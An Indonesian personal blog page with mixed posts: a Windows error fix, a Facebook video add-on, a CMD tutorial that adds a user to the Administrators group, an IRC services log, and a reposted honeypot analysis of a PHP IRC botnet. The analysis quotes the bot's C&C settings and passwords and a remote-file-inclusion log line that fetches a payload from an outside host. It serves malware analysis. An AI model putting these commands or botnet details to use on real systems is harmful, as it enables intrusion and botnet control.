Google

Senin, 14 Desember 2009

Minggu, 29 November 2009

Your account has been disabled. Please see your system administrator

Your account has been disabled. Please see your system administrator.




Error Message:
Your account has been disabled. Please see your system administrator.
Translation:
Win2000 recognizes your user ID and password, but the account has been shut down. Either someone has changed the settings on your computer or your network administrator changed settings on the domain controller machine.
Solution:
If you’re connected to a network and you log in to a domain, the network administrator is going to have to solve this issue. If you aren’t part of a domain, try logging on to the machine with an administrator account to enable your account. Click Start, Settings, and Control Panel. Double-click Administrative Tools and Computer Management. In the left pane, expand Local Users And Groups and then Users. Double-click the appropriate user name to see its properties. Remove the check mark by Account Disabled and click OK. The user ID should work as before.


from:
www.smartcomputing.com

Kamis, 27 Agustus 2009

Download Video Di FaceBook Dengan Facebook Video

Salah Satu Alternatif Untuk Download video Di FaceBook adalah dengan menggunakan add-ons dari Browser Mozilla dengan nama add-ons Facebook Video 2.1.7

Menggunakan Addons Facebook Video 2.1.7 Gampang sekali:

1. Buka Facebook Video 2.1.7 kemudian Klik Add to Firefox.

2. Klik Install Now untuk menginstall Facebook Video 2.1.7 kedalam mozilla

3. Setelah Selesai Penginstalan Restart Mozilla Untuk Menggunakan Facebook Video 2.1.7

hanya Dengan 3 langkah saja Facebook Video 2.1.7 sudah terinstall dan langsung dapat mendownload video dari FaceBook

Sebelum Facebook Video 2.1.7 Di Install


Setelah Facebook Video 2.1.7 Di Install

Pilih Video Yang Kamu Suka, Kemudian Pilih Download Video.

Mudah Bukan

Salam hangat:
By AnakDompu

Tambah User Di Windows Dengan CMD

C:\>net ?
The syntax of this command is:

NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]

Code:
C:\>net user AnakDompu password /add
The command completed successfully.

Image
Menambahkan User Pada System Windows

Code:
C:\>net user AnakDompu
User name AnakDompu
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never

Password last set 12/6/2008 4:05 PM
Password expires Never
Password changeable 12/6/2008 4:05 PM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon Never

Logon hours allowed All

Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.

Image

Code:
C:\>net localgroup Administrators AnakDompu /add
The command completed successfully.

Image

Code: Select all
C:\>net user AnakDompu
User name AnakDompu
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never

Password last set 12/6/2008 4:05 PM
Password expires Never
Password changeable 12/6/2008 4:05 PM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon Never

Logon hours allowed All

Local Group Memberships *Administrators *Users
Global Group memberships *None
The command completed successfully.

Image

Untuk menghapus User tinggal masukkan perintah:
C:\>net user user /delete

Selasa, 12 Mei 2009

Restart Anope Services

After adding on modules and services anope to run modules that have been included in anope must restart the first to run the new modules.

OperServ is a bot that handles all of the issues both modules to run or disable modules

Can me restart anope Services are services where the services administrator root root administrator is already on settingan services.conf on anope.

VhostServ modules only run on anope1.7.21

Anope Bot Services List :

NickServ - nickname management services. NickServ allows your users to register their nickname to prevent others from stealing their nickname. Your users will also be able to kill any ghost connections with their nickname and will be able to group their most-used nicknames together so they can use the same set of settings and access for all of their nicknames.

ChanServ - channel management services. ChanServ provides the ability to register your channels. This way ChanServ can be used to give channel operator status to regular operators, or to lock other modes or a topic for your channel. Our version of ChanServ provides a very complete set of features for channel management, allowing complete control over your channel.

MemoServ - send memos to users or channels. MemoServ offers a way to send short messages to users who are currently offline, or to entire channels if you wish. This allows you and your users to quickly tell offline users something, without a chance of forgetting it.

OperServ - operator utility services. OperServ provides a very complete set of functionality for IRC Operators, allowing them to operate their network in a very efficient way. Including often used features like akills and session limiting, this black box for IRC Operators ensures a safe and easy to manage IRC network.

BotServ - channel bot services. BotServ allows you to create several bots for your network. These bots can join channels and take over most actions from ChanServ, making things just a tad more intuitive. Additionally, BotServ also adds a few features like fantasy commands and kick triggers.

HostServ - virtual host services. HostServ offers a way to easily provide virtual hosts to the users on your network. If your IRCd supports virtual hosts HostServ can be used as a very easy interface for setting them, and enables the virtual host every time a user joins the network.





-OperServ- End of users list.
-
-OperServ- Access denied.
-
* Your nick is now FuRkaN
-
-NickServ- This nickname is registered and protected. If it is your
-
-NickServ- nick, type /msg NickServ IDENTIFY password. Otherwise,
-
-NickServ- please choose a different nick.
-
-NickServ- Password accepted - you are now recognized.
-
-HostServ- Your vhost of Shinchi.Memang.C-a-K-e-p.Co.Cc is now activated.
-
-Irc.Shinchi.Co.Cc- *** LocOps -- Received SQUIT services.Shinchi.Co.Cc from services.Shinchi.Co.Cc[xXx.xX.Xx.X] (RESTART command received from FuRkaN)
-
Irc.Shinchi.Co.Cc (1) 100
`-Irc.Defacer.biz (26) 1
End of /MAP
-
-Irc.Shinchi.Co.Cc- *** Notice -- (link) Link Irc.Shinchi.Co.Cc -> services.Shinchi.Co.Cc[@xXx.xX.Xx.X.1984] established
-
-Irc.Shinchi.Co.Cc- *** Notice -- Link services.Shinchi.Co.Cc -> Irc.Shinchi.Co.Cc is now synced [secs: 10 recv: 2.345 sent: 11.115]
-
Irc.Shinchi.Co.Cc (1) 100
|-services.Shinchi.Co.Cc (10)
`-Irc.Defacer.biz (26) 1
End of /MAP

Rabu, 18 Februari 2009

PBot a PHP Bot found in Honeypots RFIs

While going through a couple dozen newer RFI's, I found a suspect file that turned out to be more than the usual RFI.
I thought some of my readers would like more information on this one. The file was called pbot.txt, and was downloaded from a server in Taiwan.

This file turns out to be a decently coded PHP Bot which connects to an IRC C&C. The IRC Server is located at irc.indoirc.net - which hosts a handful of smaller botnets, but also appears to be somewhat legitimate.

The bot joins a C&C channel, in this case #AnakDompu, and waits for commands. This version of the bot allows for UDP and TCP flooding, and a connect back shell. The shell is written in perl and is commonly found in many perl bots and newbie hacker kits. Google searches for dc.pl will turn up many examples.

The bot contains the dc.pl perl script in base64 encoded text. Since webservers commonly run in datacenters with a good deal of bandwidth, the TCP and UDP flooding capabilities are more generally more successful than the those on a home machine with limited upload speed.

I couple thousand of these bots could easily compare to 30 or 40 thousand dsl/cable user bots. Lucky for us, there are only 36 bots connected at this time.

I'm sure the bot author is still wondering why his commands aren't working on my snoopbot. He hasn't kicked/banned the fake bot, and continues to issue commands that just don't work.

Normally I have to work to strip out the C&C information out of the bots. These guys made it easier on me...

"server"=>"irc.indoirc.net",
"port"=>"6667",
"pass"=>"Walau.Jelek.Tetap.Bilang.Cakep.La",
"prefix"=>"ManieZ",
"maxrand"=>8,
"chan"=>"#AnakDompu",
"chan2"=>"#AnakDompu",
"key"=>"",
"modes"=>"+iBx",
"password"=>"AnakDompu",
"trigger"=>"~",
"hostauth"=>"Orang.Cakep.Tetap.Bilang.C-a-K-e-P.Co.Cc" // * for any hostname

Most of the standard IRC IDS Signatures will work in this case.

Note: Monitoring bots should always be done with the consent of your ISP. I have permission from my ISP's to perform these monitoring activities and to run Honeypots. As they say, don't try this at home.

For those who know what their doing, and are authorized by their ISP's to do so, my honeypot log entry is provided below.

89.218.85.18 - - [01/Jan/2009:14:18:37 -0500] "GET --VULNERABILITY REDACTED--=http:// c-a-k-e-p.co.cc /adu /pbots.txt??? HTTP/1.1" 200 2324 - "-" "libwww-perl/5.805" "-"

Note, the 200 status code is a feature of my honeypot - it returns 200 for all pages, found or not. I added the spaces above to keep from accidental clicks.
I removed the vulnerable page information, because I don't think its helpful to give that level of detail.

--- Another IRC bot:

A postcard? -- Nah.. A MIRC bot.



This little jewel comes from our mailbag. It was included as a binary, no source host for infection.

The file, postcard.exe is actually a RAR compressed SFX archive. When run, a RAR script that calls
a batch file is launched. The batch file opens a mountain scene picture entitled xmas.jpg.

It also runs a copy of MIRC and places that same binary in HKLM\Software\Microsoft\Windows\CurrentVersion\Run.
It uses a likely stolen/generated MIRC license ending with 6732.

It installs itself in C:\Windows\temp\spoolsv\spoolsv.exe - which would be okay, except for that directory
isn't writable on my system as a normal user. That and the location of the run key means it will only infect
those who run with administrator rights.

MIRC Bots are scripted by those not experienced. Those that connect to public IRC servers like UnderNET prove
the authors inexperience.

This one joins the channel #romania on Undernet. I'm sure the IRCOps will be on it before too long, if they
actually have any hosts - I didn't bother to check.


Source :
http://www.disog.org/2009/01/pbot-php-bot-found-in-honeypots-rfis.html